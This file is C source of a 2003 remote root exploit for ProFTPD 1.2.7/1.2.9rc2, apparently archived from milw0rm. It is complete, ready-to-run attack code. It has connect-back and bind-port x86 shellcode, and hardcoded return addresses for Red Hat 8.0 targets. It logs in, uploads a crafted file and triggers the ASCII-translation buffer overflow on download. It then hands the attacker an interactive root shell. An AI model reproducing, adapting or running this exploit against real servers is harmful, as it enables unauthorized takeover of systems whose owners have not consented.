/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39 //cbshellcode ip & port offset,0 is the first
#define OFF2 70 //bindshellcode port offset,0 is the first
#define VER "1.20"
char cbshellcode[]= //from www.netric.org,and modified some code by myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from www.netric.org,and modified some code by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;
struct
{
char *os;
unsigned int ret;
int backup; //using for next
} targets[] =
{
{ "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
{ "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
},v;
//main() {}
int sendbuf(int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
int client_connect(int sockfd,char* server,int port);
void checkstatus(char *s);
void retrfile(char *s,int len,int port);
void storfile(char *s,int len,int port);
int dealpasv(char *s);
int setpasv();
void setport(char *l,int pt1);
void quit();
void storbuf(char *filename,char *buf,int size,int port);
void retrbuf(char *filename,char *buffer,int length,int port1);
void setascii();
void loginftp(char *user,char *pass);
void setfilename(char *s,int len);
int createbuffer(char *s,int len,int type,char *h);
int create_serv(int sfd,int port);
void modify(char *s,char *h,int port3);
void usage(char *s);
int execsh(int clifd);
int checklf(void *s,int len);
main(int argc,char **argv)
{
char buffer[BIGSIZE];
char cmdbuf[SIZE];
char srvbuf[SIZE];
char filename[30];
int j,a,b,port1;
int total;
char c;
char *user=NULL;
char *pass=NULL;
char *localip=NULL;
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localip=optarg;
break;
case 'h':
cbhost=optarg;
break;
case 'o':
pt=atoi(optarg) & 0xffff;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || user==NULL || pass==NULL || localip==NULL)
usage(argv[0]);
printf("@---------------------------------------------------------@\n");
printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("-----------------------------------------------------------\n");
printf("[+] Ret address:%p\n",targets[type-1].ret);
if(cbhost==NULL)
bindmethod=1;
else
{
if((int)inet_addr(cbhost)==-1)
{
printf("[-] Invalid connect back host/ip\n");
exit(0);
}
bindmethod=0;
}
port1=34568; //PORTÃüÁîµÄʱºòÔÚ±¾µØ²úÉúµÄÒ»¸ö¶Ë¿Ú.
sockfd=sockfd1=sockfd2=0;
sockfd=socket(2,1,0);
if(client_connect(sockfd,server,PORT)<0) quit();
loginftp(user,pass);
//port1=setpasv(); //get the pasv port
setport(localip,port1);
setfilename(filename,30);
setascii();
total=createbuffer(buffer,BIGSIZE,type,cbhost);
//printf("[+] buffer data size:%d\n",total);
storbuf(filename,buffer,total,port1);
//stor over, then close and reconnect
close(sockfd);
close(sockfd1);
close(sockfd2);
sockfd=socket(2,1,0);
if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
loginftp(user,pass);
setascii();
setport(localip,port1); //get the pasv port,a new one
mustread=total;
retrbuf(filename,buffer,total,port1);
readbuf("The First time read",sockfd,srvbuf,SIZE);
port1++;
setport(localip,port1);
mustread=total;
getshell=1;
retrbuf(filename,buffer,total,port1);
quit();
}
void setfilename(char *s,int len)
{
int a;
memset(s,0,len);
a=getpid();
sprintf(s,"%d%d%d.txt",a,a,a);
}
void retrfile(char *s,int len,int port)
{
int i,pid;
char data1;
struct sockaddr_in client;
memset(&client,0,sizeof(client));
sockfd1=socket(2,1,0);
if(create_serv(sockfd1,port)<0) quit();
i=sizeof(client);
sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
memset(s,0,len);
if(getshell==1)
{
if(bindmethod==0)
{
printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
quit();
}
else
{
printf("[+] Waiting for a shell.....\n");
sockfd2=socket(AF_INET,SOCK_STREAM,0);
sleep(2);
client_connect(sockfd2,server,pt);
execsh(sockfd2);
quit();
}
}
readbuf(NULL,sockfd2,s,len);
close(sockfd2);
close(sockfd1);
}
void storfile(char *s,int len,int port)
{
int i;
struct sockaddr_in client;
memset(&client,0,sizeof(client));
sockfd1=socket(2,1,0);
if(create_serv(sockfd1,port)<0) quit();
//if(client_connect(sockfd1,HOST,port)<0) quit();
i=sizeof(client);
sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
sendbuf(sockfd2,s,len);
close(sockfd2);
close(sockfd1);
}
void setport(char *l,int pt1)
{
int a,i,b,c,j;
char buf[30];
memset(buf,0,30);
i=sprintf(buf,"%s",l);
for(a=0;a<i;a++)
if(buf[a]=='.') buf[a]=',';
memset(cmdbuf,0,SIZE);
b=(pt1 >> 8 ) & 0xff;
c=pt1 & 0xff;
j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c);
printf("[+] %s",cmdbuf);
sendbuf(sockfd,cmdbuf,j);
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
}
int dealpasv(char *s)
{
int a,b,c,d,e,f,g;
char *p1,*p2,*p3;
int i;
p1=(char *)malloc(100);
if(!s)
quit();
p2=strchr(s,'(');
//printf("p2:%s\n",p2);
p3=strchr(s,')');
//printf("p3:%s\n",p3);
p3++;
i=p3-p2;
memcpy(p1,p2,i);
p1[i]='\0';
//printf("p1:%s\n",p1);
sscanf(p1,"(%d,%d,%d,%d,%d,%d)",&a,&b,&c,&d,&e,&f);
//printf("a:%d,b:%d,c:%d,d:%d,e:%d,f:%d\n",a,b,c,d,e,f);
g=(e<<8) | f;
//printf("port:%d\n",g);
free(p1);
return g;
}
void quit()
{
if(sockfd>0)
close(sockfd);
if(sockfd1>0)
close(sockfd);
if(sockfd2>0)
close(sockfd);
exit(0);
}
int sendbuf(int socket,char *buffer,int len)
{
int j;
j=send(socket,buffer,len,0);
if(j==0)
{
printf("[-] server closed the socket\n");
quit();
}
if(j<0)
{
perror("[-] Send data error");
quit();
}
return j;
}
int readbuf(char *s,int socket,char *buffer,int len)
{
int a,b,i,j=0;
a=b=i=0;
memset(buffer,0,len);
if(s)
{
printf("[+] %s:",s);
fflush(stdout);
}
//j=lseek(socket,0,2);
//printf("j:%d\n",j);
if(mustread==0)
{
j=recv(socket,buffer,len-1,0);
if(j==0)
{
if(s)
printf("FAILED\n");
printf("[-] server closed the socket\n");
quit();
}
if(j<0)
{
if(s)
printf("FAILED\n");
perror("[-] read data error");
quit();
}
if(s)
printf("ok\n");
buffer[len-1]='\0';
if(show==1)
printf("<== %s",buffer);
}
else
{
//ÎÒÃDz»ÓùØÐÄ·µ»ØһЩʲôÊý¾Ý
b=mustread-i;
while(b>0)
{
a=b>(len-1)?(len-1):b;
i=recv(socket,buffer,a,0);
if(i==0)
{
if(s)
printf("FAILED\n");
printf("[-] server closed the socket\n");
quit();
}
if(i<0)
{
if(s)
printf("FAILED\n");
perror("[-] read data error");
quit();
}
if(s)
printf("ok\n");
b-=i;
j+=i;
}
//printf("j:%d,mustread:%d\n",j,mustread);
if(j!=mustread)
{
printf("read failed\n");
quit();
}
}
//show=0;
mustread=0;
return j;
}
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if((host=gethostbyname(server))==NULL)
{
printf("gethostbyname(%s) error\n",server);
return(-1);
}
bzero(&cliaddr,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d....",server,port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("error:%s\r\n",strerror(errno));
close(sockfd);
return(-1);
}
printf("ok\r\n");
return(0);
}
void checkstatus(char *s)
{
if(s==NULL)
quit();
if(isdigit(*s))
{
if(s[0]=='5')
{
printf("[-] Server told:%s\n",s);
quit();
}
else
return;
}
printf("[-] Server said:%s\n",s);
quit();
}
void loginftp(char *user,char *pass)
{
int j;
show=1;
readbuf("Get banner",sockfd,srvbuf,SIZE);
show=0;
memset(cmdbuf,0,SIZE);
//USER
j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user);
sendbuf(sockfd,cmdbuf,j);
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
//PASS
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass);
sendbuf(sockfd,cmdbuf,j);
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
printf("[+] User %s logged in\n",user);
}
int setpasv()
{
int j,port1;
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s\r\n",pasvstr);
sendbuf(sockfd,cmdbuf,j);
readbuf("Set PASV",sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
port1=dealpasv(srvbuf); //get the pasv port
return port1;
}
void setascii()
{
int j;
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s\r\n",ascistr);
sendbuf(sockfd,cmdbuf,j);
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
}
void storbuf(char *filename,char *buf,int size,int port)
{
int j;
printf("[+] STOR file %s\n",filename);
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
sendbuf(sockfd,cmdbuf,j);
storfile(buf,size,port);
//check if the content is send overd
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
}
void retrbuf(char *filename,char *buffer,int length,int port1)
{
int j;
printf("[+] RETR file %s\n",filename);
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename);
sendbuf(sockfd,cmdbuf,j);
retrfile(buffer,length,port1);
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
}
int createbuffer(char *s,int len,int type,char *h)
{
int i,a,total;
char buf[41];
unsigned int writeaddr=targets[type-1].ret;
writeaddr-=4;
if(checklf((void *)&writeaddr,4)<0)
{
printf("[-] Sorry, the ret addr %p=%p-4 have '\\n' char.\n",writeaddr,writeaddr+4);
quit();
}
a=i=0;
memset(s,0,len);
i+=3;
*(unsigned int *)(s+i)=writeaddr+7*4;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x600;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x400;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x200;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x300;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x90900eeb;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
//connectback shellcode,modified ip & port
if(bindmethod==0)
{
modify(cbshellcode,h,pt);
memcpy(s+i,cbshellcode,strlen(cbshellcode));
i+=strlen(cbshellcode);
}
else
{
modify(bindshellcode,NULL,pt);
memcpy(s+i,bindshellcode,strlen(bindshellcode));
i+=strlen(bindshellcode);
}
memset(s+i,'Z',512-i);
memset(s+512,'\n',512);
total=1024;
memset(buf,0,41);
i=0;
memset(buf,'\n',20);
i+=20;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must great than 0x600
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
//showmem(buf,40);
for(i=0;i<1024;i++)
{
a=(i*40)+1024;
memcpy(s+a,buf,40);
total+=40;
}
return total;
}
int create_serv(int sfd,int port)
{
struct sockaddr_in srvaddr;
int on=1;
bzero(&srvaddr,sizeof(struct sockaddr));
srvaddr.sin_port=htons(port);
srvaddr.sin_family=AF_INET;
srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
printf("[+] Listening on %d ....",port);
fflush(stdout);
setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
{
printf("FAILED\n");
perror("[-] Bind port error");
return(-1);
}
if(listen(sfd,5)<0)
{
printf("FAILED\n");
perror("[-] Listen error");
return(-1);
}
printf("ok\n");
return(0);
}
void modify(char *s,char *h,int port3)
{
int a,b,c,d;
if(h!=NULL)
{
sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);
a&=0xff;
b&=0xff;
c&=0xff;
d&=0xff;
if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)d=='\n')
{
printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
}
s[OFFSET] = a & 0xff;
s[OFFSET+1] = b & 0xff;
s[OFFSET+2] = c & 0xff;
s[OFFSET+3] = d & 0xff;
a=port3 >> 8 & 0xff;
b=port3 & 0xff;
if((char)a=='\n' || (char)b=='\n')
{
printf("[-] Sorry, the connect back port:%d have '\\n' char\n",port3);
quit();
}
s[OFFSET+6]=a;
s[OFFSET+7]=b;
}
else
{
a=port3 >> 8 & 0xff;
b=port3 & 0xff;
if((char)a=='\n' || (char)b=='\n')
{
printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
quit();
}
s[OFF2]=a;
s[OFF2+1]=b;
}
}
void usage(char *s)
{
unsigned int a;
char *p;
int d=strlen(s)+1;
p=(char *)malloc(d);
memset(p,0x20,d-1);
p[d-1]=0;
printf("@---------------------------------------------------------@\n");
printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("-----------------------------------------------------------\n");
printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
printf(" %s -l <local ip> -h <cbip> -o <cbport>\n",p);
printf("Arguments:\n");
printf(" -d target host ip/name\n");
printf(" -u user name\n");
printf(" -p user paasword\n");
printf(" -l the ip of this machine u used\n");
printf(" -h connect back ip\n");
printf(" -o connect back port/bind port\n");
printf(" -t target type [default:%d]\n",type);
printf(" ------------------------------\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
printf("\n");
free(p);
exit(0);
}
int execsh(int clifd)
{
fd_set fds;
int count;
char buffer[SIZE];
memset(buffer,0,SIZE);
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(clifd, &fds);
if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, SIZE);
if (count <= 0) break;
if (write(clifd, buffer, count) <= 0) break;
memset(buffer,0,SIZE);
}
if (FD_ISSET(clifd, &fds))
{
count = read(clifd, buffer, SIZE);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,SIZE);
}
}
}
int checklf(void *sd,int len)
{
char *a;
int i=0;
a=(char *)sd;
for(i=0;i<len;i++)
if(*(a+i)=='\n') //found it
return -1;
return 0;
}
// milw0rm.com [2003-10-04]